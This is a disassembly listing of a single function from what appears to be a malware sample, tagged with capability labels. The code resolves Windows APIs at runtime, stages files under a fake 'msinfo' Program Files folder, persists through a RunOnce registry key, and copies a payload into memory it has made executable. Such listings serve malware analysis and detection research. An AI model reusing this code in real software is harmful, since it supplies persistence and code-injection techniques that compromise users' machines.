Function at 0x10001580
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get program files directory
Link many functions at runtime
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x10011540]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0xa24
mov edi, eax
call fcn.10003d3d
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x100015c8
pop edi
lea eax, [ebx + 8]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003c23
mov esp, ebp
pop ebp
ret
push 0xa24
push 0
push ebx
call fcn.100065f0
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.100065f0
add esp, 0x18
push 1
push 0x26
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
cmp eax, 1
je 0x10001671
push 0x104
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x101
lea eax, [ebp - 0x105]
push 0
push eax
call fcn.100065f0
lea eax, [ebp - 0x108]
add esp, 0xc
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10001632
mov ecx, dword [str.Program_Filesmsinfo]
mov edx, dword [0x1000f1fc]
mov dword [eax], ecx
mov ecx, dword [0x1000f200]
mov dword [eax + 4], edx
mov edx, dword [0x1000f204]
mov dword [eax + 8], ecx
mov ecx, dword [0x1000f208]
mov dword [eax + 0xc], edx
mov dl, byte [0x1000f20c]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
jmp 0x10001691
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10001678
mov ecx, dword [str.msinfo]
mov edx, dword [0x1000f214]
mov dword [eax], ecx
mov dword [eax + 4], edx
lea eax, [ebp - 0x108]
lea edx, [ebx + 0x3c]
mov ecx, eax
sub edx, ecx
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x100016a0
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100016b1
mov edx, dword [str._sysinfo]
mov ecx, dword [0x1000f21c]
mov dword [eax], edx
mov dl, byte [0x1000f220]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
lea eax, [ebp - 0x108]
lea edx, [ebx + 0x140]
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x100016e3
lea eax, [ebp - 0x108]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100016f6
mov ecx, dword [0x1000f228]
sub eax, edx
mov edx, dword [str.msinfo.chm]
lea eax, [ebp + eax - 0x108]
mov dword [eax], edx
mov edx, dword [0x1000f22c]
push esi
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
lea esi, [ebp - 0x108]
lea edx, [ebx + 0x348]
mov ecx, esi
sub edx, ecx
mov cl, byte [esi]
mov byte [edx + esi], cl
inc esi
test cl, cl
jne 0x10001731
mov edx, dword [str.SysInfo.exe.manifest]
mov ecx, dword [0x1000f234]
mov dword [eax], edx
mov edx, dword [0x1000f238]
mov dword [eax + 4], ecx
mov ecx, dword [0x1000f23c]
mov dword [eax + 8], edx
mov edx, dword [0x1000f240]
mov dword [eax + 0xc], ecx
mov cx, word [0x1000f244]
mov dword [eax + 0x10], edx
lea esi, [ebp - 0x108]
mov word [eax + 0x14], cx
lea edx, [ebx + 0x44c]
mov ecx, esi
sub edx, ecx
mov cl, byte [esi]
mov byte [edx + esi], cl
inc esi
test cl, cl
jne 0x10001782
mov edx, dword [str.hha.dll]
mov ecx, dword [0x1000f24c]
mov dword [eax], edx
mov dl, byte [0x1000f250]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
lea esi, [ebp - 0x108]
lea edx, [ebx + 0x550]
mov ecx, esi
sub edx, ecx
mov cl, byte [esi]
mov byte [edx + esi], cl
inc esi
test cl, cl
jne 0x100017b6
mov edx, dword [str.SysInfo.exe]
mov ecx, dword [0x1000f258]
mov dword [eax], edx
mov edx, dword [0x1000f25c]
mov dword [eax + 4], ecx
mov cl, byte [0x1000f260]
mov dword [eax + 8], edx
mov byte [eax + 0xc], cl
lea eax, [ebp - 0x108]
lea edx, [ebx + 0x244]
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x100017f3
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LoadLibraryA
push edi
call esi
push 0x1000f274
push edi
mov dword [ebx], eax
call esi
push 0x1000f288
push edi
mov dword [ebx + 8], eax
call esi
push str.FreeLibrary
push edi
mov dword [ebx + 0xc], eax
call esi
push 0x1000f2a4
push edi
mov dword [ebx + 4], eax
call esi
push 0x1000f2b4
push edi
mov dword [ebx + 0x10], eax
call esi
push str.DeleteFileA
push edi
mov dword [ebx + 0x14], eax
call esi
push str.CopyFileA
push edi
mov dword [ebx + 0x18], eax
call esi
push 0x1000f2d8
push edi
mov dword [ebx + 0x1c], eax
call esi
push 0x1000f2e4
push edi
mov dword [ebx + 0x20], eax
call esi
push 0x1000f2f0
push edi
mov dword [ebx + 0x24], eax
call esi
push str.SetFileAttributesA
push edi
mov dword [ebx + 0x28], eax
call esi
push str.CreateDirectoryA
push edi
mov dword [ebx + 0x2c], eax
call esi
push str.RemoveDirectoryA
push edi
mov dword [ebx + 0x30], eax
call esi
push str.MoveFileExA
push edi
mov dword [ebx + 0x34], eax
call esi
mov dword [ebx + 0x38], eax
mov edx, dword [str.Advapi32.dll]
mov dword [ebx + 0x674], edx
mov eax, dword [0x1000f568]
mov dword [ebx + 0x678], eax
mov ecx, dword [0x1000f56c]
mov dword [ebx + 0x67c], ecx
movzx edx, byte [0x1000f570]
mov byte [ebx + 0x680], dl
mov eax, dword [str.RegCreateKeyExA]
mov dword [ebx + 0x694], eax
mov ecx, dword [0x1000f348]
mov dword [ebx + 0x698], ecx
mov edx, dword [0x1000f34c]
mov dword [ebx + 0x69c], edx
mov eax, dword [0x1000f350]
mov dword [ebx + 0x6a0], eax
mov ecx, dword [str.RegSetValueExA]
mov dword [ebx + 0x6b4], ecx
mov edx, dword [0x1000f358]
mov dword [ebx + 0x6b8], edx
mov eax, dword [0x1000f35c]
mov dword [ebx + 0x6bc], eax
movzx ecx, word [0x1000f360]
mov word [ebx + 0x6c0], cx
movzx edx, byte [0x1000f362]
mov byte [ebx + 0x6c2], dl
mov eax, dword [str.RegCloseKey]
mov dword [ebx + 0x6d4], eax
mov ecx, dword [0x1000f368]
mov dword [ebx + 0x6d8], ecx
mov edx, dword [0x1000f36c]
mov dword [ebx + 0x6dc], edx
mov dword [ebx + 0x6f4], 0x80000002
lea edi, [ebx + 0x6f8]
mov ecx, 0xc
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, dword [str.mssys]
push 0x1000f3ac
lea edx, [ebp - 0x108]
mov dword [ebx + 0x7fc], eax
movzx ecx, word [0x1000f3a8]
push edx
lea esi, [ebx + 0x824]
push str.__s___s
push esi
mov word [ebx + 0x800], cx
mov dword [ebx + 0x81c], 1
call fcn.10003d48
mov eax, esi
add esp, 0x10
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100019d0
sub eax, esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
inc eax
push 4
mov dword [ebx + 0x820], eax
mov eax, dword [0x100137a4]
push 0x1000
push eax
push 0
call esi
mov dword [ebx + 0x654], eax
test eax, eax
jne 0x10001a25
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov esi, eax
call fcn.10003dcc
add esp, 4
mov eax, esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003c23
mov esp, ebp
pop ebp
ret
mov edi, dword [0x100137a4]
mov ecx, dword [0x100137a0]
push edi
push ecx
push eax
call fcn.100093f0
mov edx, dword [0x100137b4]
add esp, 0xc
push 4
push 0x1000
push edx
push 0
mov dword [ebx + 0x658], edi
call esi
mov dword [ebx + 0x664], eax
test eax, eax
jne 0x10001a9b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebx + 0x654]
mov esi, eax
mov eax, dword [ebx + 0x658]
push 0x1000
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call fcn.10003dcc
add esp, 4
mov eax, esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003c23
mov esp, ebp
pop ebp
ret
mov edi, dword [0x100137b4]
mov edx, dword [0x100137b0]
push edi
push edx
push eax
call fcn.100093f0
mov eax, dword [0x100137bc]
add esp, 0xc
push 4
push 0x1000
push eax
push 0
mov dword [ebx + 0x668], edi
call esi
mov dword [ebx + 0x66c], eax
test eax, eax
jne 0x10001b27
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebx + 0x658]
mov edx, dword [ebx + 0x654]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x1000
push ecx
push edx
mov esi, eax
call edi
mov eax, dword [ebx + 0x668]
mov ecx, dword [ebx + 0x664]
push 0x1000
push eax
push ecx
call edi
push ebx
call fcn.10003dcc
add esp, 4
mov eax, esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003c23
mov esp, ebp
pop ebp
ret
mov esi, dword [0x100137bc]
mov edx, dword [0x100137b8]
push esi
push edx
push eax
call fcn.100093f0
add esp, 0xc
mov dword [ebx + 0x670], esi
call fcn.10001020
mov eax, dword [0x100137a8]
mov ecx, dword [0x100137ac]
lea edx, [ebp - 0x10c]
push edx
push 0x40
push 0x8000
push 0x401000
mov dword [ebx + 0x65c], eax
mov dword [ebx + 0x660], ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10001be6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebx + 0x654]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, eax
mov eax, dword [ebx + 0x658]
push 0x1000
push eax
push ecx
call esi
mov edx, dword [ebx + 0x668]
mov eax, dword [ebx + 0x664]
push 0x1000
push edx
push eax
call esi
mov ecx, dword [ebx + 0x670]
mov edx, dword [ebx + 0x66c]
push 0x1000
push ecx
push edx
call esi
push ebx
call fcn.10003dcc
add esp, 4
pop esi
mov eax, edi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003c23
mov esp, ebp
pop ebp
ret
push 0x62
mov ecx, 0x10012100
call fcn.10001100
add esp, 4
mov ecx, 0xc4
mov esi, 0x10012100
mov edi, 0x40105f
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x289
mov esi, ebx
mov edi, 0x406000
lea eax, [ebp - 0x10c]
push eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x10c]
push ecx
push 0x8000
push 0x401000
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
call fcn.10003dcc
mov ecx, dword [ebp - 4]
add esp, 4
pop esi
pop edi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.10003c23
mov esp, ebp
pop ebp
ret